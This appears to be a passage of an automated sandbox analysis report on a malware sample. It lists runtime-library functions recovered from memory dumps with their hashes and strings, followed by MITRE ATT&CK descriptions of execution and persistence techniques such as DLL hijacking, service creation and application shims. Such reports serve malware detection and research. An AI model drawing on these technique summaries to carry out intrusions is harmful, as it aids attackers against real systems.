Source File: 0000001B.00000002.558154359.0000000002DE9000.00000040.00000001.sdmp, Offset: 02DE9000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 954c1ef7704bc67c32be939091910f399d602cde47d8d64692c4c95875e11c4a
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: D2113C79A00208EFDB01DF98C985E99BBF5EF08350F058094F9489B361D771EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0043B880, Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,02B32154,?,0043C4CE), ref: 0043B88B

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 93de479e159650909790eba55f18c751ee55fb1f3b537568e9b737e94576a69d
Instruction ID: 8bfb0f3dd71eec298076f61d407315d33c3de1fb5662b90e3e905635d41a6cfe
Opcode Fuzzy Hash: 93de479e159650909790eba55f18c751ee55fb1f3b537568e9b737e94576a69d
Instruction Fuzzy Hash: 83C092719C83089FE6049FD9FA09B2937ECE708B81F800462FF0C83764D6786C64CA65

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00439093, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
_get_int64_arg.LIBCMTD ref: 0043914A
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311
_write_multi_char.LIBCMTD ref: 00439418
_write_string.LIBCMTD ref: 00439433
_write_multi_char.LIBCMTD ref: 0043945F
_wctomb_s.LIBCMTD ref: 004394DC

Strings

_output_s_l, xrefs: 0043878E
-, xrefs: 004393B8
("Incorrect format specifier", 0), xrefs: 0043874D, 00438793
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438759, 00438789
9, xrefs: 00439322

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: f35fc962835ba044cef7faa20da4ac152a9f0aac400ee73799544dae8bb6cb8b
Instruction ID: 0b825fded8eb9a505779d72491c409fa00d4a5ab66cd2826ac0ba36177ec6554
Opcode Fuzzy Hash: f35fc962835ba044cef7faa20da4ac152a9f0aac400ee73799544dae8bb6cb8b
Instruction Fuzzy Hash: EAF15DB1D016299FDF24CF58CC89BAEB7B1BB48304F1051DAE409A7281D7785E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043A435, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
_get_int64_arg.LIBCMTD ref: 0043A4F2
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC
_write_multi_char.LIBCMTD ref: 0043A7D5
_write_string.LIBCMTD ref: 0043A7F0
_write_multi_char.LIBCMTD ref: 0043A81C
__mbtowc_l.LIBCMTD ref: 0043A88B

Strings

_woutput_s_l, xrefs: 00439BDB
9, xrefs: 0043A6CD
("Incorrect format specifier", 0), xrefs: 00439B9A, 00439BE0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00439BA6, 00439BD6

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: 7ab4d1f2d079e04483ae421a9444d5e1440a7588e539fa307823eacb4b3c16c1
Instruction ID: f9282a48c59962460a34525dbe11833721a016ab4d3138aa287865746194baeb
Opcode Fuzzy Hash: 7ab4d1f2d079e04483ae421a9444d5e1440a7588e539fa307823eacb4b3c16c1
Instruction Fuzzy Hash: 2DF16CB1D402299FDB24CF58CC81BAEB7B4FF48314F14509AE189A7241D778AE94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00438DF7, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00438DFB
__get_printf_count_output.LIBCMTD ref: 00438E09
__invalid_parameter.LIBCMTD ref: 00438E90
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00438EA5
_write_multi_char.LIBCMTD ref: 00439418
_write_string.LIBCMTD ref: 00439433
_write_multi_char.LIBCMTD ref: 0043945F
_wctomb_s.LIBCMTD ref: 004394DC

Strings

("'n' format specifier disabled", 0), xrefs: 00438E45, 00438E8B
_output_s_l, xrefs: 0043878E, 00438E86
-, xrefs: 004393B8
("Incorrect format specifier", 0), xrefs: 0043874D, 00438793
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438759, 00438789, 00438E51, 00438E81

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: a08b9ecd093679bb17e3e7a84a084ff13661151d23fced9c9e966112907950b8
Instruction ID: 2efc16544e1020145eab7186e8f58aeff064aede331c8cd608feccbfbd8b146a
Opcode Fuzzy Hash: a08b9ecd093679bb17e3e7a84a084ff13661151d23fced9c9e966112907950b8
Instruction Fuzzy Hash: B7A181B1D012299BDF25DF54CC49BEEB7B0EB48304F2451DAE4197A281D7B89E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043A19A, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043A19E
__get_printf_count_output.LIBCMTD ref: 0043A1AC
__invalid_parameter.LIBCMTD ref: 0043A233
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043A248
_write_multi_char.LIBCMTD ref: 0043A7D5
_write_string.LIBCMTD ref: 0043A7F0
_write_multi_char.LIBCMTD ref: 0043A81C
__mbtowc_l.LIBCMTD ref: 0043A88B

Strings

_woutput_s_l, xrefs: 00439BDB, 0043A229
("'n' format specifier disabled", 0), xrefs: 0043A1E8, 0043A22E
("Incorrect format specifier", 0), xrefs: 00439B9A, 00439BE0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00439BA6, 00439BD6, 0043A1F4, 0043A224

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: dfa7e9878ad7e8b3d90b0792a0dc8bfece98df4676660d17a397a0b71874a7d7
Instruction ID: a7fbac5abec37cb32c57d885b68f54a1dd1dc60d1a3d928e63afff10011090d4
Opcode Fuzzy Hash: dfa7e9878ad7e8b3d90b0792a0dc8bfece98df4676660d17a397a0b71874a7d7
Instruction Fuzzy Hash: 38A181B0D402289BDB24DB54CC81BAEB374FB48308F1450DAE64977281E778AE94CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00434153, Relevance: 25.8, APIs: 17, Instructions: 319COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043419B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004341D1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004341F2
wcsncnt.LIBCMTD ref: 00434229
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043428F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004344E0

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$wcsncnt
String ID:
API String ID: 986326057-0
Opcode ID: abfd67818945c9bb990ea3f78833e389ef48ca256222abdb199c2acc52314be4
Instruction ID: 930f0e8d80b52ffb69628a638c7c2b007111d4fd49df43a9a80bcee7498eb860
Opcode Fuzzy Hash: abfd67818945c9bb990ea3f78833e389ef48ca256222abdb199c2acc52314be4
Instruction Fuzzy Hash: B6E10971D00118EFCB04DF95C894BEEB7B1FF98304F20915AE5126B2A5E778AE41DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00438C45, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00438C49
_strlen.LIBCMT ref: 00438C79
_write_multi_char.LIBCMTD ref: 00439418
_write_string.LIBCMTD ref: 00439433
_write_multi_char.LIBCMTD ref: 0043945F
_wctomb_s.LIBCMTD ref: 004394DC

Strings

_output_s_l, xrefs: 0043878E
-, xrefs: 004393B8
("Incorrect format specifier", 0), xrefs: 0043874D, 00438793
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00438759, 00438789

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-3257747220
Opcode ID: b4492262ee9b7f03cac7b8c2376f36f4079092ced4dffd90a8167e311042ce3b
Instruction ID: 3c84093726c236c4fe0d63c2f72a1d6dcb68211ade30d11e5c32e832d2a9e798
Opcode Fuzzy Hash: b4492262ee9b7f03cac7b8c2376f36f4079092ced4dffd90a8167e311042ce3b
Instruction Fuzzy Hash: A2A16CB1D012299FDB25DF58CC89BEEB7B1AB48304F1491DAE4096A281D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00431C00, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 00431C1A
_$I10_OUTPUT.LIBCMTD ref: 00431C42
_wcscpy_s.LIBCMTD ref: 00431C82

Part of subcall function 0042F650: __invalid_parameter.LIBCMTD ref: 0042F6C2

__invoke_watson_if_error.LIBCMTD ref: 00431C8B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 00431C67
_fltout2, xrefs: 00431C6C
strcpy_s(resultstr, resultsize, autofos.man), xrefs: 00431C71

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-2574656408
Opcode ID: 3ae4ec015e1acae297206c4eb6a317df275287bc3eb53c9e83fcdb08b4a2500e
Instruction ID: 4351c5caa21e1ef01fdd29bfe158a2f0842627d3c5be89e01fcac01df8f8ca06
Opcode Fuzzy Hash: 3ae4ec015e1acae297206c4eb6a317df275287bc3eb53c9e83fcdb08b4a2500e
Instruction Fuzzy Hash: B8214DB5A403089BCB04EF65D842EEEB7F4AF9C704F108569F804A7382E634E915CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004390C1, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311

Strings

', xrefs: 004390C1
9, xrefs: 00439322
0, xrefs: 004390DD

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 67cb50fc7d230556855161bf641f2f52e3d42d0d9b7a99f4058198a45b6f4383
Instruction ID: 2027298c10c90863af3a81c9ff85f72b984f5fd47d3016fee54fd47999a8f341
Opcode Fuzzy Hash: 67cb50fc7d230556855161bf641f2f52e3d42d0d9b7a99f4058198a45b6f4383
Instruction Fuzzy Hash: B94113B1D05629DFEF24CF88C889BAEB7B5BB48304F2495DAD009A7244C7789E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004390AE, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311

Strings

9, xrefs: 00439322
0, xrefs: 004390DD

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: 45f21c8e1b2fd0e41667e3de63cf855168ebbc715265d6f9955e28d7e5afede6
Instruction ID: 9ca941e1fed3f40fdb5392937753ee428825f13441655a31fb27456423d44115
Opcode Fuzzy Hash: 45f21c8e1b2fd0e41667e3de63cf855168ebbc715265d6f9955e28d7e5afede6
Instruction Fuzzy Hash: 304103B1D05629DFEF24CF88C889BAEB7B5BB48304F2495DAD409A7244C7785E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0043A463, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC

Strings

9, xrefs: 0043A6CD
', xrefs: 0043A463

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 3e7edddd32afbd3e8f43cf4196503e246869b73da711e94f4ab09f0f6f675874
Instruction ID: 09487d18c64c0aee34e9c2bc2eb3d51438eb1fdc1679ef4dd59c19c3ebf008e1
Opcode Fuzzy Hash: 3e7edddd32afbd3e8f43cf4196503e246869b73da711e94f4ab09f0f6f675874
Instruction Fuzzy Hash: 2D4149B0E401299FDF24CF58C941BAEB7B5FF89314F145099D188AB241D7789E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A450, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC

Strings

9, xrefs: 0043A6CD

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: fcd870e84a3bfddba685abb44477e9299dd9dff0bbf7c7e0cbcc3c5a3c84430e
Instruction ID: fdfc8672b2516f8124262a1bfb62d55bff3c2ed9bd11918069f335f28ddd2d77
Opcode Fuzzy Hash: fcd870e84a3bfddba685abb44477e9299dd9dff0bbf7c7e0cbcc3c5a3c84430e
Instruction Fuzzy Hash: B34147B0E401299FDB24CF48C881BAEB7B4FF89314F14509AD189AB241D7789E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 004390F6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311

Strings

9, xrefs: 00439322

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: e4fd5befae3eeba59a0719b50f613f7305344afeed996e821a26b46d6da68311
Instruction ID: fe4bfbac82b75efa67c326eb6d76e0f850e6af74fc1f4237dd0999226a9d3e0b
Opcode Fuzzy Hash: e4fd5befae3eeba59a0719b50f613f7305344afeed996e821a26b46d6da68311
Instruction Fuzzy Hash: 0D41F2B1D01629EFEB24CF89C899BAEB7B5BB88300F1095DAD009A7244D7785E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0043A49E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC

Strings

9, xrefs: 0043A6CD

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a8bb7c02eed868196f81ca8ab8f3aeeb3791769d62b9ecc78c419880c280910d
Instruction ID: d5b79e8780c304228805d5dce1730e8d7dd0daaa9a994ddb55f96bc2ca9d985d
Opcode Fuzzy Hash: a8bb7c02eed868196f81ca8ab8f3aeeb3791769d62b9ecc78c419880c280910d
Instruction Fuzzy Hash: 524128B1E401299FDB24CF48CD81BAEB7B5FB89314F149099D189AB241D7389E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 0041CDF7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__initterm.LIBCMTD ref: 0041CEEA
__initterm.LIBCMTD ref: 0041CEFC
___freeCrtMemory.LIBCMTD ref: 0041CF26

Part of subcall function 00424670: RtlEncodePointer.NTDLL(00000000,?,004268FE), ref: 00424677

Strings

m, xrefs: 0041CF0F

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __initterm$EncodeMemoryPointer___free
String ID: m
API String ID: 2595969746-1228489174
Opcode ID: 6831e851d194b7e71f08d1e2e94c760baa052989e76dc6869fcbe8da55445937
Instruction ID: 371e5248576f0d3cc9f3cff8df3663c174b390829627e97c7422c3872aef3945
Opcode Fuzzy Hash: 6831e851d194b7e71f08d1e2e94c760baa052989e76dc6869fcbe8da55445937
Instruction Fuzzy Hash: F2412BB5D40218DBCB04DFA4E984AEEBBB2FB4C355F20416AE411B7390D7385881CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0043A447, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A4CA
_get_int64_arg.LIBCMTD ref: 0043A4F2
__aullrem.LIBCMT ref: 0043A69A
__aulldiv.LIBCMT ref: 0043A6BC

Strings

9, xrefs: 0043A6CD

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d26fa74d40856ab5b0bd0cc68698b48aad8e4165bf666cb82ad7cb8d2ff660d2
Instruction ID: 368531f025ba90a15464bfdfd8b1babf41771f51132759a99561b482fcc9237c
Opcode Fuzzy Hash: d26fa74d40856ab5b0bd0cc68698b48aad8e4165bf666cb82ad7cb8d2ff660d2
Instruction Fuzzy Hash: 444148B0E401299FDB24CF48C981B9EB7B4FB89314F14509AD288A7241D7389E91CF0A

Uniqueness

Uniqueness Score: -1.00%

Function 004390A5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00439122
_get_int64_arg.LIBCMTD ref: 0043914A
__aullrem.LIBCMT ref: 004392EF
__aulldiv.LIBCMT ref: 00439311

Strings

9, xrefs: 00439322

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 80199e5e9de42b69e3b7820e57baf6463f2e6cd60aaa720053d2e924450f37f3
Instruction ID: 8e2732ad7c92a69ce7ae4aac7e35b4f51b30c5e8958c666d59b8d2bb9243c44f
Opcode Fuzzy Hash: 80199e5e9de42b69e3b7820e57baf6463f2e6cd60aaa720053d2e924450f37f3
Instruction Fuzzy Hash: A74104B1D05629EFEF24CF49C889BAEB7B5BB48304F2095DAE009A7244D7785E81CF05

Uniqueness

Uniqueness Score: -1.00%

Function 00432DC5, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00432E3A

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 00432E01, 00432E2B
s != NULL, xrefs: 00432DF8, 00432E35
_mbstowcs_l_helper, xrefs: 00432E30

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c$s != NULL
API String ID: 3730194576-4287754273
Opcode ID: 6090a3c53d9b002251fcc71916333212c46e9b437862228d703a3c8ba37a18d3
Instruction ID: f55963b4c54a0028b9c8d5138ed0f6482c00dda477ca7631a63291f822498bb8
Opcode Fuzzy Hash: 6090a3c53d9b002251fcc71916333212c46e9b437862228d703a3c8ba37a18d3
Instruction Fuzzy Hash: E0016270E84308EBDB20AE60CC0B7AB3660AF5871AF20512BB515752C2D3FD46A4C69E

Uniqueness

Uniqueness Score: -1.00%

Function 004340D6, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00434137

Strings

pwcs != NULL, xrefs: 004340F5, 00434132
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004340FE, 00434128
_wcstombs_l_helper, xrefs: 0043412D

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 08e36feba597c11d7a0eda1722b5b07f4380d242d5f599094df7e1ac03759842
Instruction ID: c2a8839537093a7bcbd4d2af16388e97b9e6794b6969bbcdc7d3708e60cb5e88
Opcode Fuzzy Hash: 08e36feba597c11d7a0eda1722b5b07f4380d242d5f599094df7e1ac03759842
Instruction Fuzzy Hash: 91F02830F80218AAEB206E60DC0BB9F3260D728714F20126FF911751C2C7BD5580859D

Uniqueness

Uniqueness Score: -1.00%

Function 00433115, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 0043318B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 0043314F, 0043317C
(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 00433143, 00433186
_mbstowcs_s_l, xrefs: 00433181

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __invalid_parameter
String ID: (pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$_mbstowcs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
API String ID: 3730194576-509740137
Opcode ID: c27e81425dfc8f3299a6cbfba5c3a4cde03ea5a483073b0158e6a1d31538ac49
Instruction ID: 63a649d3d504e3f7d18d1fcb11d3ea60cf885335c4e1d56f4234a0700aae1ec2
Opcode Fuzzy Hash: c27e81425dfc8f3299a6cbfba5c3a4cde03ea5a483073b0158e6a1d31538ac49
Instruction Fuzzy Hash: 2F0131B0E80358EAEF20AE85DC4A7DF7260AB1875AF10106BF811356D1C7FD4594DB5E

Uniqueness

Uniqueness Score: -1.00%

Function 00423523, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042362D
__free_base.LIBCMTD ref: 00423639

Strings

t!hTX@, xrefs: 00423539

Memory Dump Source

Source File: 0000001B.00000002.556694296.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __free_base_memset
String ID: t!hTX@
API String ID: 2669475236-1279862668
Opcode ID: 80bb35e45e2df5f6662c781ec6056a6d0c2d1d9d2e2d30bdb8ededdbab8af963
Instruction ID: db29e04e665493f60c45b56a3890ea869f5f76ea882c26a8341735dae64ee97c
Opcode Fuzzy Hash: 80bb35e45e2df5f6662c781ec6056a6d0c2d1d9d2e2d30bdb8ededdbab8af963
Instruction Fuzzy Hash: 8F213E74B00114EFCB14DF44E681A6AB7B2BB88309F74C199E8091B395D639EF42DF58

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

